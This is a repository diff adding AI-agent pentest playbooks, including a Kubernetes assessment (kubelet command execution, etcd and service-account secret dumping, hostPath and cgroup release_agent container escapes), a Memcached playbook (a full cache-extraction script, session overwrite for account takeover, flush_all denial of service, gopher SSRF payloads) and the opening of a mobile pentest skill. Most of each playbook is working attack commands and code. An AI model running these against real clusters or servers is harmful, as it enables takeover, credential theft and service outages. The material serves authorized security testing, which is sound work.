- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,281 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Kubernetes Security Assessment
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
Kubernetes cluster security assessment: API server exposure, RBAC misconfiguration,
|
|
7
|
+
etcd access, pod escape techniques, service account token abuse, and secrets enumeration.
|
|
8
|
+
|
|
9
|
+
## Prerequisites
|
|
10
|
+
```bash
|
|
11
|
+
apt-get install -y kubectl
|
|
12
|
+
pip install kubeletctl
|
|
13
|
+
# Install kube-hunter
|
|
14
|
+
pip install kube-hunter
|
|
15
|
+
# Install kube-bench
|
|
16
|
+
wget https://github.com/aquasecurity/kube-bench/releases/latest/download/kube-bench_linux_amd64.tar.gz
|
|
17
|
+
tar -xf kube-bench_linux_amd64.tar.gz -C /usr/local/bin/
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Phase 1: External Enumeration
|
|
21
|
+
|
|
22
|
+
### API Server Discovery
|
|
23
|
+
```bash
|
|
24
|
+
# Default API server port: 6443 (TLS), 8080 (insecure)
|
|
25
|
+
nmap -sV -p 6443,8080,2379,2380,10250,10255 TARGET \
|
|
26
|
+
-oN /workspace/output/TARGET_k8s_nmap.txt
|
|
27
|
+
|
|
28
|
+
# Check anonymous API access
|
|
29
|
+
curl -sk https://TARGET:6443/api/v1/namespaces \
|
|
30
|
+
| tee /workspace/output/TARGET_k8s_anon_api.txt
|
|
31
|
+
|
|
32
|
+
curl -sk https://TARGET:6443/apis | python3 -m json.tool \
|
|
33
|
+
| grep '"name"' | tee /workspace/output/TARGET_k8s_apis.txt
|
|
34
|
+
|
|
35
|
+
# Insecure API (port 8080)
|
|
36
|
+
curl -s http://TARGET:8080/api/v1/pods | python3 -m json.tool \
|
|
37
|
+
| tee /workspace/output/TARGET_k8s_insecure.txt
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Kubelet Exploitation (Port 10250/10255)
|
|
41
|
+
```bash
|
|
42
|
+
# Read-only kubelet API (no auth)
|
|
43
|
+
curl -sk http://TARGET:10255/pods | python3 -m json.tool \
|
|
44
|
+
| tee /workspace/output/TARGET_kubelet_pods.txt
|
|
45
|
+
|
|
46
|
+
# kubeletctl — unauthenticated kubelet
|
|
47
|
+
kubeletctl -s TARGET pods --namespace default \
|
|
48
|
+
2>&1 | tee /workspace/output/TARGET_kubeletctl.txt
|
|
49
|
+
|
|
50
|
+
# Execute commands in pod via kubelet
|
|
51
|
+
kubeletctl -s TARGET exec -p <POD_NAME> -n default -c <CONTAINER> -- id
|
|
52
|
+
kubeletctl -s TARGET exec -p <POD_NAME> -n default -c <CONTAINER> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
53
|
+
|
|
54
|
+
# Run commands across all pods
|
|
55
|
+
kubeletctl -s TARGET scan rce 2>&1 | tee /workspace/output/TARGET_kubelet_rce.txt
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## Phase 2: API Server Anonymous Access
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# Configure kubectl (no auth)
|
|
62
|
+
kubectl config set-cluster pwned --server=https://TARGET:6443 --insecure-skip-tls-verify
|
|
63
|
+
kubectl config set-context pwned --cluster=pwned
|
|
64
|
+
kubectl config use-context pwned
|
|
65
|
+
|
|
66
|
+
# Test anonymous access
|
|
67
|
+
kubectl --insecure-skip-tls-verify get pods --all-namespaces \
|
|
68
|
+
2>&1 | tee /workspace/output/TARGET_k8s_pods.txt
|
|
69
|
+
kubectl --insecure-skip-tls-verify get secrets --all-namespaces \
|
|
70
|
+
2>&1 | tee /workspace/output/TARGET_k8s_secrets.txt
|
|
71
|
+
kubectl --insecure-skip-tls-verify get nodes \
|
|
72
|
+
2>&1 | tee /workspace/output/TARGET_k8s_nodes.txt
|
|
73
|
+
|
|
74
|
+
# Check what anonymous can do
|
|
75
|
+
kubectl --insecure-skip-tls-verify auth can-i --list \
|
|
76
|
+
2>&1 | tee /workspace/output/TARGET_k8s_permissions.txt
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## Phase 3: etcd Exposure (Port 2379)
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
# Check etcd without TLS
|
|
83
|
+
etcdctl --endpoints=http://TARGET:2379 member list \
|
|
84
|
+
2>&1 | tee /workspace/output/TARGET_etcd.txt
|
|
85
|
+
|
|
86
|
+
# Dump all keys
|
|
87
|
+
etcdctl --endpoints=http://TARGET:2379 get / --prefix --keys-only \
|
|
88
|
+
> /workspace/output/TARGET_etcd_keys.txt
|
|
89
|
+
|
|
90
|
+
# Extract Kubernetes secrets from etcd
|
|
91
|
+
etcdctl --endpoints=http://TARGET:2379 get /registry/secrets --prefix \
|
|
92
|
+
| strings | grep -E "password|token|key|secret" \
|
|
93
|
+
> /workspace/output/TARGET_etcd_secrets.txt
|
|
94
|
+
|
|
95
|
+
# Get service account tokens
|
|
96
|
+
etcdctl --endpoints=http://TARGET:2379 \
|
|
97
|
+
get /registry/secrets/kube-system --prefix \
|
|
98
|
+
| strings > /workspace/output/TARGET_etcd_sa_tokens.txt
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
## Phase 4: RBAC Misconfiguration
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
# With a service account token (from pod escape or kubelet)
|
|
105
|
+
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
106
|
+
kubectl --token=$TOKEN --insecure-skip-tls-verify auth can-i --list \
|
|
107
|
+
> /workspace/output/TARGET_sa_permissions.txt
|
|
108
|
+
|
|
109
|
+
# Check for cluster-admin role bindings
|
|
110
|
+
kubectl --insecure-skip-tls-verify get clusterrolebindings \
|
|
111
|
+
-o json | python3 -m json.tool \
|
|
112
|
+
| grep -A5 '"name": "cluster-admin"' \
|
|
113
|
+
> /workspace/output/TARGET_clusteradmin_bindings.txt
|
|
114
|
+
|
|
115
|
+
# Find wildcards in roles
|
|
116
|
+
kubectl --insecure-skip-tls-verify get clusterroles -o yaml \
|
|
117
|
+
| grep -B5 '"*"' \
|
|
118
|
+
> /workspace/output/TARGET_wildcard_roles.txt
|
|
119
|
+
|
|
120
|
+
# Check for default service account misuse
|
|
121
|
+
kubectl --insecure-skip-tls-verify get rolebindings --all-namespaces \
|
|
122
|
+
| grep "default" > /workspace/output/TARGET_default_sa.txt
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
## Phase 5: Pod Escape — hostPath Volume
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# Malicious pod with hostPath mount (if allowed to create pods)
|
|
129
|
+
cat > /workspace/output/TARGET_escape_pod.yaml <<'YAML'
|
|
130
|
+
apiVersion: v1
|
|
131
|
+
kind: Pod
|
|
132
|
+
metadata:
|
|
133
|
+
name: escape-pod
|
|
134
|
+
namespace: default
|
|
135
|
+
spec:
|
|
136
|
+
containers:
|
|
137
|
+
- name: escape
|
|
138
|
+
image: alpine
|
|
139
|
+
command: ["/bin/sh", "-c", "sleep 3600"]
|
|
140
|
+
volumeMounts:
|
|
141
|
+
- mountPath: /host
|
|
142
|
+
name: hostfs
|
|
143
|
+
volumes:
|
|
144
|
+
- name: hostfs
|
|
145
|
+
hostPath:
|
|
146
|
+
path: /
|
|
147
|
+
restartPolicy: Never
|
|
148
|
+
YAML
|
|
149
|
+
|
|
150
|
+
kubectl --insecure-skip-tls-verify apply -f /workspace/output/TARGET_escape_pod.yaml
|
|
151
|
+
|
|
152
|
+
# Execute in pod to access host filesystem
|
|
153
|
+
kubectl --insecure-skip-tls-verify exec -it escape-pod -- \
|
|
154
|
+
chroot /host /bin/bash
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
## Phase 6: Privileged Container Escape
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Check if running in privileged container (from inside pod)
|
|
161
|
+
# cat /proc/self/status | grep CapEff
|
|
162
|
+
# Expected privileged: CapEff: 0000003fffffffff
|
|
163
|
+
|
|
164
|
+
# Escape via cgroup notify_on_release (from inside privileged container)
|
|
165
|
+
# mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
|
|
166
|
+
# mkdir /tmp/cgroup/x
|
|
167
|
+
# echo 1 > /tmp/cgroup/x/notify_on_release
|
|
168
|
+
# echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/cmd" > /tmp/cgroup/release_agent
|
|
169
|
+
# echo '#!/bin/sh' > /cmd; echo "id > /output" >> /cmd; chmod +x /cmd
|
|
170
|
+
# sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs"
|
|
171
|
+
|
|
172
|
+
# Escape via hostPID + nsenter
|
|
173
|
+
# nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
## Phase 7: Service Account Token Abuse
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
# From inside pod — use mounted token
|
|
180
|
+
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
181
|
+
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
182
|
+
APISERVER=https://kubernetes.default.svc
|
|
183
|
+
|
|
184
|
+
# List pods in current namespace
|
|
185
|
+
curl -s $APISERVER/api/v1/namespaces/default/pods \
|
|
186
|
+
--header "Authorization: Bearer $TOKEN" \
|
|
187
|
+
--cacert $CACERT | python3 -m json.tool
|
|
188
|
+
|
|
189
|
+
# List secrets (if SA has permission)
|
|
190
|
+
curl -s $APISERVER/api/v1/namespaces/kube-system/secrets \
|
|
191
|
+
--header "Authorization: Bearer $TOKEN" \
|
|
192
|
+
--cacert $CACERT > /workspace/output/TARGET_sa_secrets.txt
|
|
193
|
+
|
|
194
|
+
# Create new pod via API (if allowed)
|
|
195
|
+
curl -s $APISERVER/api/v1/namespaces/default/pods \
|
|
196
|
+
-X POST -H "Authorization: Bearer $TOKEN" \
|
|
197
|
+
-H "Content-Type: application/json" \
|
|
198
|
+
--cacert $CACERT \
|
|
199
|
+
-d @/workspace/output/TARGET_escape_pod.yaml
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
## Phase 8: Secrets Enumeration
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
# Dump all secrets (with admin token)
|
|
206
|
+
kubectl --insecure-skip-tls-verify get secrets --all-namespaces \
|
|
207
|
+
-o yaml > /workspace/output/TARGET_all_secrets.yaml
|
|
208
|
+
|
|
209
|
+
# Decode base64 secret values
|
|
210
|
+
kubectl --insecure-skip-tls-verify get secret <SECRET_NAME> -n <NS> \
|
|
211
|
+
-o jsonpath='{.data}' | python3 -c \
|
|
212
|
+
"import sys,json,base64; d=json.load(sys.stdin); \
|
|
213
|
+
[print(k,'=',base64.b64decode(v).decode()) for k,v in d.items()]"
|
|
214
|
+
|
|
215
|
+
# ConfigMaps (often contain plaintext secrets)
|
|
216
|
+
kubectl --insecure-skip-tls-verify get configmaps --all-namespaces \
|
|
217
|
+
-o yaml | grep -i "password\|token\|key\|secret" \
|
|
218
|
+
> /workspace/output/TARGET_configmap_secrets.txt
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
## Phase 9: Automated Scanning
|
|
222
|
+
|
|
223
|
+
```bash
|
|
224
|
+
# kube-hunter (unauthenticated external scan)
|
|
225
|
+
kube-hunter --remote TARGET \
|
|
226
|
+
--report json > /workspace/output/TARGET_kube_hunter.json 2>&1
|
|
227
|
+
|
|
228
|
+
# kube-bench (CIS benchmark — run inside cluster)
|
|
229
|
+
kube-bench run --targets master,node \
|
|
230
|
+
--json > /workspace/output/TARGET_kube_bench.json 2>&1
|
|
231
|
+
|
|
232
|
+
# trivy (image vulnerability scan)
|
|
233
|
+
trivy image --format json \
|
|
234
|
+
-o /workspace/output/TARGET_trivy.json \
|
|
235
|
+
<IMAGE_NAME>:latest
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
## Report Template
|
|
239
|
+
|
|
240
|
+
```
|
|
241
|
+
Target Cluster: TARGET
|
|
242
|
+
API Server: https://TARGET:6443
|
|
243
|
+
Assessment Date: <DATE>
|
|
244
|
+
|
|
245
|
+
## Critical Findings
|
|
246
|
+
- [ ] Anonymous API access — full cluster read/write
|
|
247
|
+
- [ ] kubelet unauthenticated access (port 10250)
|
|
248
|
+
- [ ] etcd exposed without TLS/auth
|
|
249
|
+
- [ ] Privileged pod escape successful
|
|
250
|
+
- [ ] Service account token with cluster-admin privileges
|
|
251
|
+
|
|
252
|
+
## Cluster Information
|
|
253
|
+
Nodes: <count>
|
|
254
|
+
Namespaces: <list>
|
|
255
|
+
Total Pods: <count>
|
|
256
|
+
|
|
257
|
+
## RBAC Issues
|
|
258
|
+
Overprivileged service accounts: <list>
|
|
259
|
+
Wildcard permissions found in: <roles>
|
|
260
|
+
|
|
261
|
+
## Secrets Exposed
|
|
262
|
+
Total secrets: <count>
|
|
263
|
+
Sensitive data found: <list>
|
|
264
|
+
|
|
265
|
+
## Recommendations
|
|
266
|
+
1. Enable RBAC and disable anonymous access
|
|
267
|
+
2. Enable TLS on kubelet and etcd
|
|
268
|
+
3. Use Network Policies to restrict pod communication
|
|
269
|
+
4. Avoid privileged pods and hostPath mounts
|
|
270
|
+
5. Enable Pod Security Standards (restricted profile)
|
|
271
|
+
6. Rotate all exposed service account tokens
|
|
272
|
+
7. Implement secret management (Vault, Sealed Secrets)
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
## Output Files
|
|
276
|
+
- `/workspace/output/TARGET_k8s_nmap.txt` — Port scan results
|
|
277
|
+
- `/workspace/output/TARGET_kube_hunter.json` — kube-hunter findings
|
|
278
|
+
- `/workspace/output/TARGET_kube_bench.json` — CIS benchmark results
|
|
279
|
+
- `/workspace/output/TARGET_all_secrets.yaml` — Dumped secrets
|
|
280
|
+
|
|
281
|
+
indicators: kubernetes, pentest, k8s, security, kubectl, exploit, kubeletctl, etcd, exposure, rbac, misconfiguration, pod, escape, service, account, token, privileged, container, hostpath, kube-hunter, trivy
|
|
@@ -0,0 +1,230 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: memcached
|
|
5
|
+
description: Security testing playbook for Memcached covering unauthenticated access, data extraction, cache poisoning, SSRF-to-Memcached, and UDP reflection amplification
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Memcached Security Testing
|
|
9
|
+
|
|
10
|
+
Memcached is a distributed memory caching system — no authentication by default. Exposure of Memcached leads to: full cache data extraction (may contain sessions, tokens, user data), cache poisoning, and UDP-based DDoS amplification.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning
|
|
19
|
+
nmap -p 11211 <target> -sV --open
|
|
20
|
+
nmap -p 11211 <target> -sU --open # UDP (amplification attacks)
|
|
21
|
+
|
|
22
|
+
# Port: 11211 (TCP + UDP)
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## Unauthenticated Access
|
|
27
|
+
|
|
28
|
+
# Connect via TCP
|
|
29
|
+
nc <target> 11211
|
|
30
|
+
|
|
31
|
+
# Basic commands (no auth required by default):
|
|
32
|
+
stats # Server stats, version, uptime
|
|
33
|
+
stats items # Item count per slab
|
|
34
|
+
stats cachedump <slab_id> <limit> # Dump keys in a slab
|
|
35
|
+
stats slabs # Memory allocation info
|
|
36
|
+
stats settings # Server settings
|
|
37
|
+
|
|
38
|
+
# Telnet (alternative):
|
|
39
|
+
telnet <target> 11211
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## Data Extraction
|
|
44
|
+
|
|
45
|
+
# Full extraction methodology:
|
|
46
|
+
|
|
47
|
+
# Step 1: Get all slab IDs
|
|
48
|
+
echo "stats items" | nc <target> 11211
|
|
49
|
+
# Returns: STAT items:<slab_id>:number <count>
|
|
50
|
+
|
|
51
|
+
# Step 2: Dump keys from each slab
|
|
52
|
+
echo "stats cachedump <slab_id> 0" | nc <target> 11211
|
|
53
|
+
# 0 = unlimited keys; Returns: ITEM <key> [<bytes> b; <expiry> s]
|
|
54
|
+
|
|
55
|
+
# Step 3: Get value for each key
|
|
56
|
+
echo "get <key>" | nc <target> 11211
|
|
57
|
+
|
|
58
|
+
# Automated extraction script:
|
|
59
|
+
python3 -c "
|
|
60
|
+
import socket
|
|
61
|
+
|
|
62
|
+
host = '<target>'
|
|
63
|
+
port = 11211
|
|
64
|
+
|
|
65
|
+
def send(sock, cmd):
|
|
66
|
+
sock.send((cmd + '\r\n').encode())
|
|
67
|
+
import time; time.sleep(0.1)
|
|
68
|
+
data = b''
|
|
69
|
+
sock.settimeout(0.5)
|
|
70
|
+
try:
|
|
71
|
+
while True:
|
|
72
|
+
chunk = sock.recv(4096)
|
|
73
|
+
if not chunk: break
|
|
74
|
+
data += chunk
|
|
75
|
+
except socket.timeout:
|
|
76
|
+
pass
|
|
77
|
+
return data.decode()
|
|
78
|
+
|
|
79
|
+
s = socket.socket()
|
|
80
|
+
s.connect((host, port))
|
|
81
|
+
|
|
82
|
+
# Get slabs
|
|
83
|
+
slabs = [line.split(':')[1] for line in send(s, 'stats items').split('\n')
|
|
84
|
+
if 'STAT items:' in line and ':number' in line]
|
|
85
|
+
|
|
86
|
+
for slab in slabs:
|
|
87
|
+
keys_raw = send(s, f'stats cachedump {slab} 0')
|
|
88
|
+
keys = [line.split(' ')[1] for line in keys_raw.split('\n') if line.startswith('ITEM')]
|
|
89
|
+
for key in keys:
|
|
90
|
+
val = send(s, f'get {key}')
|
|
91
|
+
print(f'KEY: {key}')
|
|
92
|
+
print(f'VALUE: {val}')
|
|
93
|
+
print('---')
|
|
94
|
+
|
|
95
|
+
s.close()
|
|
96
|
+
"
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## High-Value Cache Keys
|
|
101
|
+
|
|
102
|
+
# Common patterns to look for in extracted keys:
|
|
103
|
+
session:* # PHP/Python sessions
|
|
104
|
+
sess:* # Express.js sessions
|
|
105
|
+
user:* # User objects (may contain tokens)
|
|
106
|
+
auth:* # Authentication data
|
|
107
|
+
token:* # Access tokens
|
|
108
|
+
csrf:* # CSRF tokens
|
|
109
|
+
cache:* # Generic cache data
|
|
110
|
+
api:* # API responses
|
|
111
|
+
rate:* # Rate limiting counters (modify to bypass)
|
|
112
|
+
|
|
113
|
+
# Search for sensitive patterns in values:
|
|
114
|
+
echo "stats cachedump 1 0" | nc <target> 11211 | grep -i "session\|token\|user\|auth"
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## Cache Poisoning
|
|
119
|
+
|
|
120
|
+
# If writable access (same as read — no auth):
|
|
121
|
+
# Overwrite any cached key:
|
|
122
|
+
echo "set <key> 0 0 <length>\r\n<malicious_value>\r\nEND" | nc <target> 11211
|
|
123
|
+
|
|
124
|
+
# Example: overwrite user session cache:
|
|
125
|
+
KEY="session:abc123"
|
|
126
|
+
VAL='{"user_id":1,"role":"admin","username":"admin"}'
|
|
127
|
+
printf "set $KEY 0 3600 ${#VAL}\r\n$VAL\r\nEND\r\n" | nc <target> 11211
|
|
128
|
+
|
|
129
|
+
# Delete a key (cache invalidation DoS):
|
|
130
|
+
echo "delete <key>" | nc <target> 11211
|
|
131
|
+
|
|
132
|
+
# Flush all cache (DoS):
|
|
133
|
+
echo "flush_all" | nc <target> 11211 # Immediately invalidates all items
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## SSRF to Memcached
|
|
138
|
+
|
|
139
|
+
If SSRF exists and allows TCP connections to internal Memcached:
|
|
140
|
+
|
|
141
|
+
# Test if SSRF can reach Memcached:
|
|
142
|
+
SSRF URL: http://localhost:11211/ # Will likely error but confirm connection
|
|
143
|
+
|
|
144
|
+
# Gopher SSRF to Memcached (inject commands):
|
|
145
|
+
gopher://127.0.0.1:11211/_%0d%0astats%0d%0a
|
|
146
|
+
|
|
147
|
+
# More complex: set a key via gopher:
|
|
148
|
+
# Encode: "set key 0 0 5\r\nhello\r\n"
|
|
149
|
+
# As gopher URL (URL-encode \r\n as %0d%0a):
|
|
150
|
+
gopher://127.0.0.1:11211/_%73%65%74%20%6b%65%79%20%30%20%30%20%35%0d%0a%68%65%6c%6c%6f%0d%0a
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## Memcached Version and Stats
|
|
155
|
+
|
|
156
|
+
# Get version and running stats:
|
|
157
|
+
echo "version" | nc <target> 11211
|
|
158
|
+
# VERSION 1.6.17
|
|
159
|
+
|
|
160
|
+
echo "stats" | nc <target> 11211
|
|
161
|
+
# STAT pid 1234 — Process ID
|
|
162
|
+
# STAT uptime 86400 — Uptime in seconds
|
|
163
|
+
# STAT curr_connections 5 — Active connections
|
|
164
|
+
# STAT total_connections 1000 — Total since start
|
|
165
|
+
# STAT cmd_get 50000 — Total get commands
|
|
166
|
+
# STAT cmd_set 10000 — Total set commands
|
|
167
|
+
# STAT get_hits 40000 — Cache hits
|
|
168
|
+
# STAT get_misses 10000 — Cache misses
|
|
169
|
+
# STAT bytes 1048576 — Memory used
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## UDP Reflection / Amplification (DDoS Vector)
|
|
174
|
+
|
|
175
|
+
Memcached UDP is an extreme amplification vector (amplification factor up to 51,000x):
|
|
176
|
+
|
|
177
|
+
# Check if UDP port is open:
|
|
178
|
+
nmap -p 11211 <target> -sU
|
|
179
|
+
|
|
180
|
+
# Amplification attack (for testing only, do NOT attack unauthorized targets):
|
|
181
|
+
# Attacker sends spoofed UDP packet (stats command, ~15 bytes) to Memcached
|
|
182
|
+
# Memcached responds with stats (~500KB) to spoofed victim IP
|
|
183
|
+
# Amplification factor: up to 51,000x
|
|
184
|
+
|
|
185
|
+
# DO NOT EXPLOIT without explicit authorization — this is severe DDoS
|
|
186
|
+
|
|
187
|
+
# Detect exposure:
|
|
188
|
+
python3 -c "
|
|
189
|
+
import socket
|
|
190
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
191
|
+
s.settimeout(2)
|
|
192
|
+
# Memcached UDP request header: reqId(2) seqNum(2) numDgrams(2) reserved(2) + command
|
|
193
|
+
payload = b'\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n'
|
|
194
|
+
s.sendto(payload, ('<target>', 11211))
|
|
195
|
+
try:
|
|
196
|
+
data, addr = s.recvfrom(65535)
|
|
197
|
+
print(f'UDP exposed! Response: {data[:100]}')
|
|
198
|
+
except socket.timeout:
|
|
199
|
+
print('UDP not responding')
|
|
200
|
+
"
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## Tools
|
|
205
|
+
|
|
206
|
+
# memcached-cli (Node.js)
|
|
207
|
+
npm install -g memcached-cli
|
|
208
|
+
memcached-cli <target>:11211
|
|
209
|
+
|
|
210
|
+
# mc — Go memcached client
|
|
211
|
+
# Direct nc/telnet are most portable
|
|
212
|
+
|
|
213
|
+
# Automated enumeration:
|
|
214
|
+
nmap --script memcached-info <target> -p 11211
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Pro Tips
|
|
219
|
+
|
|
220
|
+
1. Memcached with no auth = full read/write access — extract ALL keys systematically
|
|
221
|
+
2. Session tokens and JWTs cached in Memcached enable authentication bypass
|
|
222
|
+
3. `flush_all` is a one-command DoS — clears all cached data (causes DB hammering)
|
|
223
|
+
4. UDP port 11211 should NEVER be exposed — it's a critical DDoS amplification source
|
|
224
|
+
5. Rate limiting data stored in Memcached can be deleted to bypass rate limits
|
|
225
|
+
6. Web apps may cache sensitive admin responses — look for keys like `admin:*`, `config:*`
|
|
226
|
+
7. Memcached SASL auth is optional and rarely configured — almost always no auth
|
|
227
|
+
|
|
228
|
+
## Summary
|
|
229
|
+
|
|
230
|
+
Memcached testing = `stats items` + `stats cachedump <slab> 0` + `get <key>` for full data extraction. Unauthenticated Memcached = read all cached sessions, tokens, and API responses. Session key overwrite enables account takeover without knowing credentials. UDP exposure on port 11211 is a critical DDoS amplification vector — report immediately even without extracting data.
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: mobile-app-pentesting
|
|
5
|
+
description: Mobile application security testing for Android APK and iOS IPA in headless Docker environments, covering static analysis, constrained dynamic testing, and evidence-focused reporting.
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Mobile App Pentesting (Android APK / iOS IPA)
|
|
9
|
+
|
|
10
|
+
Use this skill when the target is a mobile app package (`.apk`, `.aab`, `.ipa`) or when prompts mention Android/iOS pentesting.
|
|
11
|
+
|
|
12
|
+
## Environment Constraints
|
|
13
|
+
|
|
14
|
+
- AIRecon runs in Docker + CLI-first workflow.
|
|
15
|
+
- GUI workflows are optional only; prefer reproducible CLI outputs.
|
|
16
|
+
- iOS dynamic testing usually requires external infra (macOS + jailbroken/non-jailbroken instrumentation strategy).
|
|
17
|
+
|
|
18
|
+
## Workflow
|
|
19
|
+
|
|
20
|
+
1. Confirm scope and artifact.
|
|
21
|
+
- Verify app package hash and version.
|
|
22
|
+
- Record package identifier / bundle id.
|
|
23
|
+
2. Run fast static triage.
|
|
24
|
+
- Manifest, permissions, exported components.
|
|
25
|
+
- Embedded secrets, API keys, debug flags, cleartext traffic.
|
|
